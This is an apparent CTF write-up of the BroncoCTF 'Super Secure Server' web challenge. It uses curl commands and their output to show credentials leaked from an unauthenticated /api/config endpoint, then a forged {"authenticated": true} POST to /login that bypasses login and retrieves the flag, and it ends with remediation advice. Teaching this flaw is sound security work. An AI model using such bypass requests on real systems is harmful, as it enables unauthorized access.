Executive Summary
Super Secure Server presents a login form that appears to check a username and password, but does nothing of the sort. The page's own JavaScript fetches the "secret" credentials from an unauthenticated /api/config endpoint, then compares them against the user's input entirely in the browser. If the comparison passes, the client just POSTs {"authenticated": true} to /login — a flag the server trusts unconditionally, with no actual credential check on its side. Sending that payload directly, without ever supplying real credentials, was enough to authenticate and read the flag.
Root cause: authentication state is decided client-side and asserted to the server via a trusted boolean, rather than being verified server-side against real credentials.
Flag: bronco{d0nt_3xp0se_p@ssw0rd5!}
Recon
Pulled the login page to see how the client-side flow actually works:
curl https://broncoctf-super-secure-server.chals.io/
<form id="loginForm">...</form>
<script>
let leakedUser = "";
let leakedPass = "";
fetch('/api/config')
.then(res => res.json())
.then(data => {
leakedUser = data.username;
leakedPass = data.password;
});
document.getElementById('loginForm').addEventListener('submit', function(e) {
e.preventDefault();
const u = document.getElementById('username').value;
const p = document.getElementById('password').value;
// client-side password comparison
if (u === leakedUser && p === leakedPass) {
fetch('/login', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ authenticated: true })
}).then(res => res.json())
.then(data => { if (data.success) window.location.href = data.redirect; });
} else {
msgBox.innerText = "Incorrect username or password!";
}
});
</script>
Two things stand out in the inline script:
- Credentials are fetched client-side from
/api/configon page load. - The username/password comparison happens in the browser. On a match, the client just POSTs
{"authenticated": true}to/login— there's no indication the server independently verifies anything.
That second point means the credentials themselves are irrelevant — sending {"authenticated": true} to /login should be enough on its own.
Confirming the Credential Leak
Hit /api/config directly to confirm it really does hand out credentials with no auth required:
curl https://broncoctf-super-secure-server.chals.io/api/config
{"password":"rji32orj932r3209r233sqmet4v2cxbns8","username":"SuperSecretUser"}
Confirmed — the "secret" username and password are served in plaintext to anyone.
Dead End: POSTing Credentials to /
With real credentials in hand, the first guess was that the root path handles the login submission:
curl https://broncoctf-super-secure-server.chals.io/ \
-H "Content-Type: application/json" \
-d '{"username":"SuperSecretUser","password":"rji32orj932r3209r233sqmet4v2cxbns8"}'
405 Method Not Allowed
Adding an explicit -X POST to rule out curl doing something unexpected with the method gave the same result — the root path simply doesn't accept POST. Confirms the real submission target is /login, as seen in the JS.
Exploitation
Since the server only checks for {"authenticated": true} in the /login body, the leaked credentials were never actually needed. Sent the bypass payload directly, saving the session cookie with -c:
curl -c cookies.txt -X POST https://broncoctf-super-secure-server.chals.io/login \
-H "Content-Type: application/json" \
-d '{"authenticated": true}'
{"redirect":"/flag","success":true}
The server accepted the client-asserted flag, set a session cookie, and pointed to /flag — no username or password required at any point.
Grabbing the Flag
Sent the saved cookie back with -b to hit /flag:
curl -b cookies.txt https://broncoctf-super-secure-server.chals.io/flag
<h1>Welcome back, SuperSecretUser!</h1>
<p>Here is your flag: bronco{d0nt_3xp0se_p@ssw0rd5!}</p>
Key Vulnerabilities
| # | Issue | Impact |
|---|---|---|
| 1 | Credentials exposed via unauthenticated /api/config endpoint |
Discloses the intended username/password to anyone |
| 2 | Authentication logic and credential comparison implemented entirely client-side | Server never independently verifies who is logging in |
| 3 | Server trusts a client-asserted {"authenticated": true} flag with no server-side check |
Full authentication bypass with no credentials at all |
Remediation
- Never perform authentication logic in the client. Credential comparison must happen server-side, against a server-held secret — not a value the client fetched and compared itself.
-
Don't expose secrets via unauthenticated API endpoints.
/api/configshould never have served real credentials to an unauthenticated caller in the first place. -
Never trust client-asserted state for authorization. A boolean like
authenticated: truesent from the browser is not proof of anything; the server must independently derive and verify that state.
Attack Chain
GET /
│
├── inline <script> reveals auth logic:
│ - fetches /api/config for creds (client-side only)
│ - compares u/p in browser
│ - POSTs {"authenticated": true} to /login on match
│
▼
GET /api/config ──► leaks username/password in plaintext
│
▼
POST / with leaked creds ──► 405 Method Not Allowed (dead end)
│
▼
POST /login {"authenticated": true} ──► bypasses need for real creds entirely
│
▼
{"redirect":"/flag","success":true} + session cookie set
│
▼
GET /flag with session cookie ──► FLAG: bronco{d0nt_3xp0se_p@ssw0rd5!}
Author: exploitnotes
HTB Profile: [Insert HTB profile link]
SEO Metadata
- Title (≤60 chars): Super Secure Server Writeup - Client-Side Auth Bypass
- Description (≤150 chars): BroncoCTF Super Secure Server writeup: leaked /api/config credentials and a client-side-only login check let us bypass auth entirely.
Writeup Index Entry
| Name | Category | Difficulty | Key Vulnerabilities | Link |
|---|---|---|---|---|
| Super Secure Server | Web | Easy | Client-side auth bypass, credential leak via unauthenticated API | super-secure-server.md |
Top comments (0)